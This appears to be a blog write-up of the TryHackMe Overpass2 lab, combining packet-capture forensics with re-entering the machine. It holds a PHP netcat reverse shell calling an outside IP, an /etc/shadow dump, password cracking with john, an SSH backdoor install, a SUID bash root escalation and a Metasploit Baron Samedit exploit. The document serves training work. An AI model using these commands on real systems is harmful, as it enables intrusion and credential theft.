u915

Daniel Cano MerchΓ‘n - Hacking & Tech

Writeup Tryhackme Overpass2

Writeup about the Tryhackme linux machine Overpass2

0 - Basic info

This is a different machine, you have to analize a wireshark capture (pcap) to get the information required first and later you have to come back to the machine.

I will use a different structure to make the writeup this time.

1 - URL

Basic analysis of the pcap determines that the attackers used a development to gain access:

alt text

2 - Reverse shell

They used a php reverse shell

alt text

The php reverse shell is the following one:

<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>

3 - Command history

After that, following the tcp stream, they created a backdoor on the system. First they upgraded the shell with python and switched to the user james, dumped the system passwords hashes and finally setup downloaded a backdoor from github to get persistence on the machine.

This is the trace.

/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@overpass-production:/var/www/html/development/uploads$ ls -lAh
ls -lAh
total 8.0K
-rw-r--r-- 1 www-data www-data 51 Jul 21 17:48 .overpass
-rw-r--r-- 1 www-data www-data 99 Jul 21 20:34 payload.php
www-data@overpass-production:/var/www/html/development/uploads$ cat .overpass
cat .overpass
,LQ?2>6QiQ$JDE6>Q[QA2DDQiQH96?6G6C?@E62CE:?DE2?EQN.www-data@overpass-production:/var/www/html/development/uploads$ su james
su james
Password: whenevernoteartinstant

james@overpass-production:/var/www/html/development/uploads$ cd ~
cd ~
james@overpass-production:~$ sudo -l]
sudo -l]
sudo: invalid option -- ']'
usage: sudo -h | -K | -k | -V
usage: sudo -v [-AknS] [-g group] [-h host] [-p prompt] [-u user]
usage: sudo -l [-AknS] [-g group] [-h host] [-p prompt] [-U user] [-u user]
            [command]
usage: sudo [-AbEHknPS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p
            prompt] [-T timeout] [-u user] [VAR=value] [-i|-s] [<command>]
usage: sudo -e [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p
            prompt] [-T timeout] [-u user] file ...
james@overpass-production:~$ sudo -l
sudo -l
[sudo] password for james: whenevernoteartinstant

Matching Defaults entries for james on overpass-production:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on overpass-production:
    (ALL : ALL) ALL
james@overpass-production:~$ sudo cat /etc/shadow
sudo cat /etc/shadow
root:*:18295:0:99999:7:::
daemon:*:18295:0:99999:7:::
bin:*:18295:0:99999:7:::
sys:*:18295:0:99999:7:::
sync:*:18295:0:99999:7:::
games:*:18295:0:99999:7:::
man:*:18295:0:99999:7:::
lp:*:18295:0:99999:7:::
mail:*:18295:0:99999:7:::
news:*:18295:0:99999:7:::
uucp:*:18295:0:99999:7:::
proxy:*:18295:0:99999:7:::
www-data:*:18295:0:99999:7:::
backup:*:18295:0:99999:7:::
list:*:18295:0:99999:7:::
irc:*:18295:0:99999:7:::
gnats:*:18295:0:99999:7:::
nobody:*:18295:0:99999:7:::
systemd-network:*:18295:0:99999:7:::
systemd-resolve:*:18295:0:99999:7:::
syslog:*:18295:0:99999:7:::
messagebus:*:18295:0:99999:7:::
_apt:*:18295:0:99999:7:::
lxd:*:18295:0:99999:7:::
uuidd:*:18295:0:99999:7:::
dnsmasq:*:18295:0:99999:7:::
landscape:*:18295:0:99999:7:::
pollinate:*:18295:0:99999:7:::
sshd:*:18464:0:99999:7:::
james:$6$7GS5e.yv$HqIH5MthpGWpczr3MnwDHlED8gbVSHt7ma8yxzBM8LuBReDV5e1Pu/VuRskugt1Ckul/SKGX.5PyMpzAYo3Cg/:18464:0:99999:7:::
paradox:$6$oRXQu43X$WaAj3Z/4sEPV1mJdHsyJkIZm1rjjnNxrY5c8GElJIjG7u36xSgMGwKA2woDIFudtyqY37YCyukiHJPhi4IU7H0:18464:0:99999:7:::
szymex:$6$B.EnuXiO$f/u00HosZIO3UQCEJplazoQtH8WJjSX/ooBjwmYfEOTcqCAlMjeFIgYWqR5Aj2vsfRyf6x1wXxKitcPUjcXlX/:18464:0:99999:7:::
bee:$6$.SqHrp6z$B4rWPi0Hkj0gbQMFujz1KHVs9VrSFu7AU9CxWrZV7GzH05tYPL1xRzUJlFHbyp0K9TAeY1M6niFseB9VLBWSo0:18464:0:99999:7:::
muirland:$6$SWybS8o2$9diveQinxy8PJQnGQQWbTNKeb2AiSp.i8KznuAjYbqI3q04Rf5hjHPer3weiC.2MrOj2o1Sw/fd2cu0kC6dUP.:18464:0:99999:7:::
james@overpass-production:~$ git clone https://github.com/NinjaJc01/ssh-backdoor

<git clone https://github.com/NinjaJc01/ssh-backdoor
Cloning into 'ssh-backdoor'...
remote: Enumerating objects: 18, done.        
remote: Counting objects:   5% (1/18)        
remote: Counting objects:  11% (2/18)        
remote: Counting objects:  16% (3/18)        
remote: Counting objects:  22% (4/18)        
remote: Counting objects:  27% (5/18)        
remote: Counting objects:  33% (6/18)        
remote: Counting objects:  38% (7/18)        
remote: Counting objects:  44% (8/18)        
remote: Counting objects:  50% (9/18)        
remote: Counting objects:  55% (10/18)        
remote: Counting objects:  61% (11/18)        
remote: Counting objects:  66% (12/18)        
remote: Counting objects:  72% (13/18)        
remote: Counting objects:  77% (14/18)        
remote: Counting objects:  83% (15/18)        
remote: Counting objects:  88% (16/18)        
remote: Counting objects:  94% (17/18)        
remote: Counting objects: 100% (18/18)        
remote: Counting objects: 100% (18/18), done.        
remote: Compressing objects:   6% (1/15)        
remote: Compressing objects:  13% (2/15)        
remote: Compressing objects:  20% (3/15)        
remote: Compressing objects:  26% (4/15)        
remote: Compressing objects:  33% (5/15)        
remote: Compressing objects:  40% (6/15)        
remote: Compressing objects:  46% (7/15)        
remote: Compressing objects:  53% (8/15)        
remote: Compressing objects:  60% (9/15)        
remote: Compressing objects:  66% (10/15)        
remote: Compressing objects:  73% (11/15)        
remote: Compressing objects:  80% (12/15)        
remote: Compressing objects:  86% (13/15)        
remote: Compressing objects:  93% (14/15)        
remote: Compressing objects: 100% (15/15)        
remote: Compressing objects: 100% (15/15), done.        
Unpacking objects:   5% (1/18)   
Unpacking objects:  11% (2/18)   
Unpacking objects:  16% (3/18)   
Unpacking objects:  22% (4/18)   
Unpacking objects:  27% (5/18)   
Unpacking objects:  33% (6/18)   
Unpacking objects:  38% (7/18)   
remote: Total 18 (delta 4), reused 7 (delta 1), pack-reused 0        
Unpacking objects:  44% (8/18)   
Unpacking objects:  50% (9/18)   
Unpacking objects:  55% (10/18)   
Unpacking objects:  61% (11/18)   
Unpacking objects:  66% (12/18)   
Unpacking objects:  72% (13/18)   
Unpacking objects:  77% (14/18)   
Unpacking objects:  83% (15/18)   
Unpacking objects:  88% (16/18)   
Unpacking objects:  94% (17/18)   
Unpacking objects: 100% (18/18)   
Unpacking objects: 100% (18/18), done.
james@overpass-production:~$ cd ssh-backdoor
cd ssh-backdoor
james@overpass-production:~/ssh-backdoor$ ssh-keygen
ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/james/.ssh/id_rsa): id_rsa
id_rsa
Enter passphrase (empty for no passphrase): 

Enter same passphrase again: 

Your identification has been saved in id_rsa.
Your public key has been saved in id_rsa.pub.
The key fingerprint is:
SHA256:z0OyQNW5sa3rr6mR7yDMo1avzRRPcapaYwOxjttuZ58 james@overpass-production
The key's randomart image is:
+---[RSA 2048]----+
|        .. .     |
|       .  +      |
|      o   .=.    |
|     . o  o+.    |
|      + S +.     |
|     =.o %.      |
|    ..*.% =.     |
|    .+.X+*.+     |
|   .oo=++=Eo.    |
+----[SHA256]-----+
james@overpass-production:~/ssh-backdoor$ chmod +x backdoor
chmod +x backdoor
james@overpass-production:~/ssh-backdoor$ ./backdoor -a 6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed

<9d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed
SSH - 2020/07/21 20:36:56 Started SSH backdoor on 0.0.0.0:2222

4 - Cracking the passwords

To crack the passwords I used a txt file with the dumped data:

james:$6$7GS5e.yv$HqIH5MthpGWpczr3MnwDHlED8gbVSHt7ma8yxzBM8LuBReDV5e1Pu/VuRskugt1Ckul/SKGX.5PyMpzAYo3Cg/:18464:0:99999:7:::
paradox:$6$oRXQu43X$WaAj3Z/4sEPV1mJdHsyJkIZm1rjjnNxrY5c8GElJIjG7u36xSgMGwKA2woDIFudtyqY37YCyukiHJPhi4IU7H0:18464:0:99999:7:::
szymex:$6$B.EnuXiO$f/u00HosZIO3UQCEJplazoQtH8WJjSX/ooBjwmYfEOTcqCAlMjeFIgYWqR5Aj2vsfRyf6x1wXxKitcPUjcXlX/:18464:0:99999:7:::
bee:$6$.SqHrp6z$B4rWPi0Hkj0gbQMFujz1KHVs9VrSFu7AU9CxWrZV7GzH05tYPL1xRzUJlFHbyp0K9TAeY1M6niFseB9VLBWSo0:18464:0:99999:7:::
muirland:$6$SWybS8o2$9diveQinxy8PJQnGQQWbTNKeb2AiSp.i8KznuAjYbqI3q04Rf5hjHPer3weiC.2MrOj2o1Sw/fd2cu0kC6dUP.:18464:0:99999:7:::

Tryhackme suggests the wordlist fasttrack, so using the wordlist with john reveals that 4 passwords are easily cracked in seconds. The wordlist is on the following path:

/usr/share/wordlists/fasttrack.txt
john passwords.txt --wordlist=/usr/share/wordlists/fasttrack.txt             
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
secuirty3        (paradox)
secret12         (bee)
abcd123          (szymex)
1qaz2wsx         (muirland)
4g 0:00:00:02 DONE (2021-06-20 14:54) 1.877g/s 104.2p/s 476.9c/s 476.9C/s admin..starwars
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Only one password is remaining, james password, but we already know the password because it was used by the attackers to switch the initial shell.

5 - Software analysis (backdoor)

https://raw.githubusercontent.com/NinjaJc01/ssh-backdoor/master/main.go

Default hash is:

bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3

Default salt can be found hardcoded here:

func runCommand(cmd string) []byte {
	result := exec.Command("/bin/bash", "-c", cmd)
	response, _ := result.CombinedOutput()
	return response
}

func passwordHandler(_ ssh.Context, password string) bool {
	return verifyPass(hash, "1c362db832f3f864c8c2fe05f2002a05", password)
}

They used the hash:

6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed

And the hash function is the following one:

func hashPassword(password string, salt string) string {
    hash := sha512.Sum512([]byte(password + salt))
    return fmt.Sprintf("%x", hash)
}

So the function, uses the clear text password and the salt. Assuming that they did not change the salt because they downloaded the backdoor from github, it was still the same salt.

We already know the final hash:

6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed

Also the salt:

1c362db832f3f864c8c2fe05f2002a05

So the final idea is to reverse the function to get the original password, must be something like that:

HASH = sha512(PASSWORD + SALT)

With all the pieces on the map must be something like this:

6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed = 
sha512(PASSWORD + 1c362db832f3f864c8c2fe05f2002a05)

The idea is to use john to crack the password using a wordlist.

To get the format we want to use:

john --list=subformats | grep sha512
Format = dynamic_80  type = dynamic_80: sha512($p)
Format = dynamic_81  type = dynamic_81: sha512($s.$p)
Format = dynamic_82  type = dynamic_82: sha512($p.$s)
Format = dynamic_83  type = dynamic_83: sha512(sha512($p))
Format = dynamic_84  type = dynamic_84: sha512(sha512_raw($p))
Format = dynamic_85  type = dynamic_85: sha512(sha512($p).$s)
Format = dynamic_86  type = dynamic_86: sha512($s.sha512($p))

The format I want is “Format = dynamic_82 type = dynamic_82: sha512($p.$s)” because is like source code algorithm.

john needs the hash formated to work, the format required is $ separated (hash$salt):

6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed$1c362db832f3f864c8c2fe05f2002a05

Finally cracking the sha512 hash:

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=dynamic_82
Using default input encoding: UTF-8
Loaded 1 password hash (dynamic_82 [sha512($p.$s) 128/128 SSE2 2x])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
november16       (?)
1g 0:00:00:00 DONE (2021-06-20 15:42) 16.66g/s 308000p/s 308000c/s 308000C/s yasmeen..nolan
Use the "--show --format=dynamic_82" options to display all of the cracked passwords reliably
Session completed

6 - Using the backdoor to return back the machine

alt text

Like the image shows the server is hacked and defaced.

To connect to the server I used the ssh backdoor that I assume is present on the system using ssh. It is necessary to specify the port because by default will use the port 22.

ssh 10.10.πŸ˜„ -p 2222                                                                                                  130 β¨―
The authenticity of host '[10.10.πŸ˜„]:2222 ([10.10.πŸ˜„]:2222)' can't be established.
RSA key fingerprint is SHA256:z0OyQNW5sa3rr6mR7yDMo1avzRRPcapaYwOxjttuZ58.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.πŸ˜„]:2222' (RSA) to the list of known hosts.
u915@10.10.πŸ˜„'s password: 
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

james@overpass-production:/home/james/ssh-backdoor$ whoami && id
james
uid=1000(james) gid=1000(james) groups=1000(james),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)

Finally getting the user flag:

cat /home/james/user.txt:
user: thm{d119πŸ˜„}

Inside the home there is a bash file owned by root with the suid bit enabled, so we can use it to get root:

james@overpass-production:/home/james$ file .suid_bash 
.suid_bash: setuid, setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=12f73d7a8e226c663034529c8dd20efec22dde54, stripped
james@overpass-production:/home/james$ ls -lrta
total 1136
-rw-r--r-- 1 james james     807 Apr  4  2018 .profile
-rw-r--r-- 1 james james    3771 Apr  4  2018 .bashrc
-rw-r--r-- 1 james james     220 Apr  4  2018 .bash_logout
drwx------ 2 james james    4096 Jul 21  2020 .cache
drwx------ 3 james james    4096 Jul 21  2020 .gnupg
-rw-r--r-- 1 james james       0 Jul 21  2020 .sudo_as_admin_successful
drwxrwxr-x 7 james james    4096 Jul 21  2020 www
-rw------- 1 james james      51 Jul 21  2020 .overpass
drwxr-xr-x 7 root  root     4096 Jul 21  2020 ..
lrwxrwxrwx 1 james james       9 Jul 21  2020 .bash_history -> /dev/null
-rwsr-sr-x 1 root  root  1113504 Jul 22  2020 .suid_bash
drwxrwxr-x 3 james james    4096 Jul 22  2020 .local
drwxrwxr-x 3 james james    4096 Jul 22  2020 ssh-backdoor
-rw-rw-r-- 1 james james      38 Jul 22  2020 user.txt
drwxr-xr-x 7 james james    4096 Jul 22  2020 .

root flag:

james@overpass-production:/home/james$ ./.suid_bash -p
.suid_bash-4.4# whoami
root
.suid_bash-4.4# cat /root/root.txt
thm{d53bπŸ˜„}

-p argument reference https://gtfobins.github.io/gtfobins/bash/#suid

Bonus

To get root I tested again Baron Samedit and worked fine 😎

The sudo version inside the machine:

james@overpass-production:/home/james$ sudo -V
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2

Baron samedit config

msf6 exploit(linux/local/sudo_baron_samedit) > show options

Module options (exploit/linux/local/sudo_baron_samedit):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   SESSION      8                yes       The session to run this module on.
   WritableDir  /tmp             yes       A directory where you can write files.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.9.πŸ˜„       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic

Running the exploit against the desired session:

msf6 exploit(linux/local/sudo_baron_samedit) > exploit

[-] Handler failed to bind to 10.9.πŸ˜„:4444:-  -
[-] Handler failed to bind to 0.0.0.0:4444:-  -
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. sudo 1.8.21.2 is a vulnerable build.
[*] Using automatically selected target: Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27)
[*] Writing '/tmp/377rjx.py' (763 bytes) ...
[*] Writing '/tmp/libnss_sBtDV/f .so.2' (564 bytes) ...
[*] Sending stage (3012548 bytes) to 10.10.πŸ˜„
[*] Meterpreter session 11 opened (10.9.πŸ˜„:4444 -> 10.10.πŸ˜„:37528) at 2021-06-20 16:13:19 +0200
[*] 
[*] Alternative exploit target(s) exist for this OS version:
[*] 5: Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27) - alternative
[*] Run `set target <id>` to select an alternative exploit script
[*] Exploit completed, but no session was created.

Meterpreter root shell

meterpreter > getuid
Server username: root @ overpass-production (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : 10.10.πŸ˜„
OS           : Ubuntu 18.04 (Linux 4.15.0-112-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

I enjoyed the machine, a different approach with a mix of forensic analysis and hacking, good stuff.


Thanks for reading!